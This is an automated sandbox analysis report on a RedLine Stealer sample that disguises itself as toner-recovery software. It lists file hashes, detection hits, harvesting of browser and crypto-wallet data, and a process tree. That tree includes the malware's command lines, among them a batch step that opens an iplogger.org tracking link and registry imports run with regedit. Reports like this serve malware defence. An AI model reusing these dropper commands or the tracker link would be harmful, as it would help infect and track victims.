Analysis
- max time kernel
71s - max time network
151s - platform
windows7_x64 - resource
win7v20210408 - submitted
19/06/2021, 02:27
Static task
static1
Behavioral task
behavioral1
Sample
5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
General
- Target 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe
- Size 527KB
- Sample210619-pr9metkhr2
- SHA256 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a80b6d0256f3a589e6c3
- MD5 99b5d0fc604eed2a6fe22df6eb6884fd
- SHA1 009b40d01ffec21fe3a9bcb66f75fb411c7003bd
- SHA512 12e7047db03cfb63995ec00015bb931dd916731cc1f76bd3d49b6ed77d28e6ec5b782077a4ebcc8a746bb1ffb2fcfb9717bf83b74187c171216b5d470b7e2fe8
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine Payload 3 IoCs
resource yara_rule behavioral1/memory/1956-95-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral1/memory/1956-96-0x0000000000417DBE-mapping.dmp family_redline behavioral1/memory/1956-98-0x0000000000400000-0x000000000041E000-memory.dmp family_redline - Executes dropped EXE 3 IoCs
pid Process 1888 Updater.exe 1860 Toner-Recover.exe 1956 Updater.exe - Loads dropped DLL 3 IoCs
pid Process 1672 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe 1672 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe 1888 Updater.exe - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 1888 set thread context of 1956 1888 Updater.exe 42 - Drops file in Program Files directory 7 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\EverestSoftrade\TonerRecover\adj.reg 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe File opened for modification C:\Program Files (x86)\EverestSoftrade\TonerRecover\adj2.reg 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe File opened for modification C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe File opened for modification C:\Program Files (x86)\EverestSoftrade\TonerRecover\Uninstall.exe 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe File created C:\Program Files (x86)\EverestSoftrade\TonerRecover\Uninstall.ini 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe File opened for modification C:\Program Files (x86)\EverestSoftrade\TonerRecover\log.bat 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe File opened for modification C:\Program Files (x86)\EverestSoftrade\TonerRecover\Toner-Recover.exe 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = d049c5fbc364d701 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000529101d5c9814b4eb0f580b37542e45000000000020000000000106600000001000020000000390526df623a97b3015d0bdf7423cf3d5a2bf267a36bffcb56cb7844ada55026000000000e8000000002000020000000149e1256c38821a5e81e66b6bc94a1ada427447fb5fb7308ff1f7fdb7d9039589000000014bb7df03f8300093acc01f5cd2d2fa39170044f7d7962dcc5ce8b0d0b5fb54ac47220ce0b96f9b5a02b85be6f312c5167881a82faea45163d109685f21267be703d29d504e6706c1648aa924cf238ca3c5324bfb5d17355b3a15af01b8e6dbd021af291548732ac390d7a12d0a7621b474c53c2c954d1940e5305f31c88ca42aba70216ce8fdbcc52b6ef4c1df88f9640000000de3c8f66cf1d1337117ef163ea20db951ba643a6fb8ad5700d91d61b069f5cda13b5d0f15497351596dc78ed9e482e854bf109cb24e2b12047f6226e7989a690 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "330842024" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000529101d5c9814b4eb0f580b37542e45000000000020000000000106600000001000020000000deaa4a0458e64c3dc07072992b9c4c471d07315c47443254d95559845eca2c03000000000e80000000020000200000000d5db94386afe3a16d7a7091a923a89ae1fc3608a033b7bffaff0790fd3d506a20000000447402d74d45dd82acc40268b4d45d970e9e81cab4673fda8f84e4b7cd59ab2d40000000179a9a6906fcf756fe11e3ffeeaa76d31395cea289a7b18576dba9fe1998f0dde69ce5af4bb98f3b23416026f43dac9db5cb6219437806eb5b23e0ccc6314f2b iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{1EDAF431-D0B7-11EB-9C3B-E20B45539B95} = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe - Runs .reg file with regedit 2 IoCs
pid Process 1572 regedit.exe 812 regedit.exe - Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1956 Updater.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1888 Updater.exe Token: SeDebugPrivilege 1956 Updater.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 1452 iexplore.exe - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 1452 iexplore.exe 1452 iexplore.exe 772 IEXPLORE.EXE 772 IEXPLORE.EXE - Suspicious use of WriteProcessMemory 46 IoCs
description pid Process procid_target PID 1672 wrote to memory of 1124 1672 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe 26 PID 1672 wrote to memory of 1124 1672 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe 26 PID 1672 wrote to memory of 1124 1672 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe 26 PID 1672 wrote to memory of 1124 1672 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe 26 PID 1672 wrote to memory of 1888 1672 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe 28 PID 1672 wrote to memory of 1888 1672 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe 28 PID 1672 wrote to memory of 1888 1672 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe 28 PID 1672 wrote to memory of 1888 1672 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe 28 PID 1672 wrote to memory of 1888 1672 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe 28 PID 1672 wrote to memory of 1888 1672 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe 28 PID 1672 wrote to memory of 1888 1672 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe 28 PID 1672 wrote to memory of 1860 1672 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe 29 PID 1672 wrote to memory of 1860 1672 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe 29 PID 1672 wrote to memory of 1860 1672 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe 29 PID 1672 wrote to memory of 1860 1672 5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe 29 PID 1124 wrote to memory of 1656 1124 cmd.exe 30 PID 1124 wrote to memory of 1656 1124 cmd.exe 30 PID 1124 wrote to memory of 1656 1124 cmd.exe 30 PID 1124 wrote to memory of 1656 1124 cmd.exe 30 PID 1468 wrote to memory of 1452 1468 explorer.exe 33 PID 1468 wrote to memory of 1452 1468 explorer.exe 33 PID 1468 wrote to memory of 1452 1468 explorer.exe 33 PID 1124 wrote to memory of 1572 1124 cmd.exe 34 PID 1124 wrote to memory of 1572 1124 cmd.exe 34 PID 1124 wrote to memory of 1572 1124 cmd.exe 34 PID 1124 wrote to memory of 1572 1124 cmd.exe 34 PID 1124 wrote to memory of 812 1124 cmd.exe 35 PID 1124 wrote to memory of 812 1124 cmd.exe 35 PID 1124 wrote to memory of 812 1124 cmd.exe 35 PID 1124 wrote to memory of 812 1124 cmd.exe 35 PID 1452 wrote to memory of 772 1452 iexplore.exe 37 PID 1452 wrote to memory of 772 1452 iexplore.exe 37 PID 1452 wrote to memory of 772 1452 iexplore.exe 37 PID 1452 wrote to memory of 772 1452 iexplore.exe 37 PID 1888 wrote to memory of 1956 1888 Updater.exe 42 PID 1888 wrote to memory of 1956 1888 Updater.exe 42 PID 1888 wrote to memory of 1956 1888 Updater.exe 42 PID 1888 wrote to memory of 1956 1888 Updater.exe 42 PID 1888 wrote to memory of 1956 1888 Updater.exe 42 PID 1888 wrote to memory of 1956 1888 Updater.exe 42 PID 1888 wrote to memory of 1956 1888 Updater.exe 42 PID 1888 wrote to memory of 1956 1888 Updater.exe 42 PID 1888 wrote to memory of 1956 1888 Updater.exe 42 PID 1888 wrote to memory of 1956 1888 Updater.exe 42 PID 1888 wrote to memory of 1956 1888 Updater.exe 42 PID 1888 wrote to memory of 1956 1888 Updater.exe 42
Processes
-
C:\Users\Admin\AppData\Local\Temp\5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe"C:\Users\Admin\AppData\Local\Temp\5b91bb848d517bcd9a1e86f73bfec348326de4d5fbb0a.exe"1⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Program Files (x86)\EverestSoftrade\TonerRecover\log.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:1124 -
C:\Windows\SysWOW64\explorer.exeexplorer https://iplogger.org/2qJhq63⤵PID:1656
-
-
C:\Windows\SysWOW64\regedit.exeregedit /s adj.reg3⤵
- Runs .reg file with regedit
PID:1572
-
-
C:\Windows\SysWOW64\regedit.exeregedit /s adj2.reg3⤵
- Runs .reg file with regedit
PID:812
-
-
-
C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe"C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe"C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1956
-
-
-
C:\Program Files (x86)\EverestSoftrade\TonerRecover\Toner-Recover.exe"C:\Program Files (x86)\EverestSoftrade\TonerRecover\Toner-Recover.exe"2⤵
- Executes dropped EXE
PID:1860
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:1468 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/2qJhq62⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1452 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1452 CREDAT:275457 /prefetch:23⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:772
-
-